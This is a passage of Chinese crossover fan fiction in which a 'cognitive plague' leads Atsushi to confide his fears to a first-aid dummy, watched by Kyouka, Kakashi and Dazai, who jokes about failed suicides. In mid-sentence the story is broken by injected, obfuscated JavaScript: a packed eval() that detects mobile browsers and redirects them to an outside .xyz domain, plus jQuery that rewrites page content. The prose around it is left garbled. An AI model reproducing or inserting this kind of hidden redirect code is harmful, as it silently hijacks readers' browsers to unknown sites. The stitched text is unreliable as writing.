认知瘟疫没有止步于体育馆，而是蔓延进了学园各个角落。
它无声无息，侵蚀着不同学生，不同心智，并绽放出形态各异的病态花朵。
医疗翼，本是寻求治疗与安宁的场所，此刻却充斥了一种难以言喻的气氛。
中岛敦正襟危坐，双手交叠，神情紧张且慌乱。
他面前，为他治疗的那位，并非穿着白大褂的医生或者护士，而是一个塑料假人，用于练习急救技巧的那种。
假人材质坚硬，五官模糊，面无表情，空洞的眼洞直视前方。它身上，还残留着用于标识穴位的各种贴纸。
敦却感觉面对着的，是一位德高望重的心理专家，因此充满了敬畏与不安。
“……所以，医生……我最近，总是很害怕。”他声音发颤，对着假人倾诉道。
窗边，泉镜花安静地站在那里，眼眸盯着敦，一眨不眨，里面盛满了担忧之色。
她能看到敦在发抖，能感受到他语气里的恐惧，但她无法理解，他为什么要对一个人偶说话。
她想上前，却又被眼前这超现实的一幕钉住了脚步。
“那种感觉……又来了。就好像……身体里的那个家伙要醒过来了。指甲会变得尖尖的，牙齿也……晚上睡觉的时候，总能听到它在低吼……我，我好怕哪一天早上醒来，就完全变成它了……”敦声音很低，用那种分享一个可怕秘密的口吻，继续说道。
他的倾诉对象——那个塑料假人——依旧沉默着。
敦的声音带上了哭腔：“大家……是不是也都这么觉得？觉得我是个怪物？一个随时随地会失控伤人的炸弹？五条老师他们把我带到这里，是不是……是不是也因为没办法了，只能把我隔离起来？”
他将内心最深处，对于白虎力量的恐惧，投射到了这个异常的环境里，并为自己当前的处境找到了一个看似合理，实则荒诞的解释——他被隔离了，而这个塑料假人，是学园派来监视或治疗他的医生。
敦的眼泪终于忍不住掉了下来，滴落在医疗室干净的地板上：“我……我不想伤害任何人。我真的不想……医生，我该怎么办？我该怎么才能控制住它？求你……帮帮我……”
他伸出手，似乎为了寻求安慰，不自觉地想抓住假人的手臂，但指尖触碰到坚硬的塑料时，又缩了回来。
镜花看着这一幕，小小的拳头不自觉地攥紧了。
她能感受到，敦的痛苦是真实的，但他的行为却是完全错位的。这种强烈的反差，让她感到一种窒息般的心慌。
她张了张嘴，想告诉敦那只是个假人，想把他拉走，但话语卡在喉咙里，怎么也发不出声音。认知的混乱无形无质，却比任何物理屏障，都更难打破。
就在这时，医疗室的门被轻轻推开。
旗木卡卡西走了进来，目光扫过房间，立刻理解了状况。
他没有去纠正敦，或者强行将他带离，只是像往常一样打了个招呼：“哦，敦，镜花，你们在这里啊。”
敦突然一惊，像从梦中惊醒，慌忙擦掉眼泪，站起身，有些手足无措地看着卡卡西：“卡卡西老师，我……我没干什么……”
“嗯，看出来了。”卡卡西走到药品柜旁，假装翻找着什么，“和医生聊天的感觉怎么样？它给出的建议有用吗？”
敦愣了一下，下意识地看向那个假人，眼神里又浮现出那种扭曲的信任与依赖，他小声说：“还，还在咨询中……医生他……很耐心。”
卡卡西微笑道：“是嘛，那很好。有时候，把烦恼说出来，本身就会好受很多。不管对方是谁，或者……是什么。”
他的话似乎带着双重含义，没有肯定假人是真医生，也没有否定敦的行为，只是认可了倾诉这个动作本身的价值。
敦似懂非懂地点了点头，紧张的情绪稍稍缓解了些许。
卡卡西又看向镜花，对她微微点了点头，递过一个安抚眼神，意思明确：“交给我”。
然后，他像是忽然想起什么似的，对敦说：“对了，敦，能帮我去器材室，拿一下新的练习苦无吗？我记得放在最里面的架子上了。”
这是一个简单、明确的指令，目的是让他离开此地。
敦的思维，原本密不透风，现在却被这个突如其来的任务打断了。
他看了看“医生”，又看了看卡卡西，犹豫片刻，最终还是点了点头：“好的，卡卡西老师。”
他又对着假人鞠了一躬：“医生，那我下次再来向您汇报。”
说完，才快步离开了医疗室。
房间里只剩下卡卡西和镜花，还有那个沉默的假人。
镜花立刻跑到卡卡西身边，抬起头望着他，眼里满是困惑和担心：“卡卡西老师，敦他怎么会……”
“嗯，我知道。”卡卡西打断了她的询问。
他走到那个假人面前，仔细观察了一下，甚至伸出手指，轻轻敲了敲假人的脑袋。
“他的认知错位了。” 卡卡西低声说道，他在对镜花解释，也似自言自语。
“他将内心最大的恐惧，投射到了一个完全错误的对象上，并且，由此而生，构建出了一整套自洽的逻辑。强行纠正，可能会让他彻底迷失。”
他看向镜花：“镜花，刚才发生的事情，不要刻意去对敦提起。就像平常一样对待他，好吗？”
镜花用力点了点头。
卡卡西拿出手机，在备忘录里，快速输入了观察结果： “中岛敦，将塑料急救假人认知为专业心理医生，进行深度情感倾诉。建议持续观察，警惕其恐惧的内容——体内力量失控——被强化，或者，被异常利用。”
写完，他收起手机，揉了揉镜花的头发：“好了，没事了。去找敦吧，看看他找到苦无了没有。”
镜花点点头，小跑着离开了。
医疗室恢复了安静。
卡卡□□自站在房间中央，目光再次投向那个五官模糊的假人。
此时已近黄昏，夕阳光线将假人的影子拉得很长，投在墙上，歪歪扭扭。
一个没有生命的物体，却成为了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484502|185673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活人情感的宣泄口，和混乱认知的承载体。
这比任何直接的物理破坏，都更令人产生寒意。
卡卡西沉默地站了一会儿，最终，无奈地叹了口气。
而在他离开后，医疗室的门，再次被轻轻推开。
太宰治的脑袋探了进来，目光落在窗边，那个被敦视为“医生”的塑料假人身上。
他溜达进来，就像只好奇心强的猫，绕着假人走了一圈，上下打量着，表情充满玩味。
“哎呀，真是位……沉默是金的名医呢。挂号费收多少？接受赊帐吗？”他伸手戳了戳假人僵硬的脸颊，发出夸张感叹。
他已经知晓了刚才发生的一切，但脸上神色自若如常。
“倾听内心最深处的恐惧与不安，并且绝对保密，不会做出任何令人不快的评价或建议……”太宰治摸着下巴，若有所思地点点头，“嗯……从某种意义上说，这确实是位理想的心理医生啊。比那些只会反复强调，让你积极向上，努力活下去的庸医，高明多了。”
然后，他忽然对着假人，模仿起敦的语气，开始了自己的“咨询”：“医生医生，我也有烦恼哦。”
他声音变得做作和忧伤：“为什么我总是死不成呢？水会拒绝我，绳子会断裂，楼顶的风光，总被某个白毛混蛋打扰……这是否说明，连命运都在玩弄我，只给予我永恒的绝望，而非永恒的安眠？我该怎么办？”
太宰治停下来，侧耳倾听假人的回答——当然，假人无言以对……然后他重重点点头，一脸恍然大悟道：
“原来如此！您的意思是，我应该放弃那些平庸的自杀方式，去追求更富有艺术性和哲学性的终结？比如……被一颗对自己球生感到绝望，而发芽的排球砸死？或者，在给医疗假人倾诉时，因为过度尴尬而心脏骤停？哇，您实在是很高明！”
他自顾自演完这出独角戏，忍不住笑了起来。
然后，他再次看向假人，眼神中的戏谑褪去。
“将自己的恐惧，投射到绝对沉默、绝对中立的物体上……敦君倒是无意中找到了一个缓解焦虑的好方法呢。”他轻声自语。
“毕竟，不会得到回应的倾诉，才是最安全的，不是吗？既不用担心被否定，也不用害怕被背叛……就像对着深渊低语。”
他声音微微变冷：“只不过，这里的深渊，似乎有点过于热情了……它会悄悄地把你的低语，更改成你最害怕听到的回音呢。”
太宰治最后拍了拍假人的肩膀，动作轻佻，语气却带着怜悯，不知是对敦，还是对所有人：
“加油哦，医生。看来你的病号，以后只会越来越多呢。生意兴隆哈……虽然支付的货币，大概是理智呢……”
说完，他晃晃悠悠地离开了医疗室，貌似只是路过了一个有趣的景点。
留下的，只有那个依旧沉默的假人，以及属于太宰治的独特关怀。
太宰治清楚地知道发生了什么，甚至能理解其背后的心理机制。但他暂时选择的，却是……欣赏，欣赏着这一片荒诞景象。